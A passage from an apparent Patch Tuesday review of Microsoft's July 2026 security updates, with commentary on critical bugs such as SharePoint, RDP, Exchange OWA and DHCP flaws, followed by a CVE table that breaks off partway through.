CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  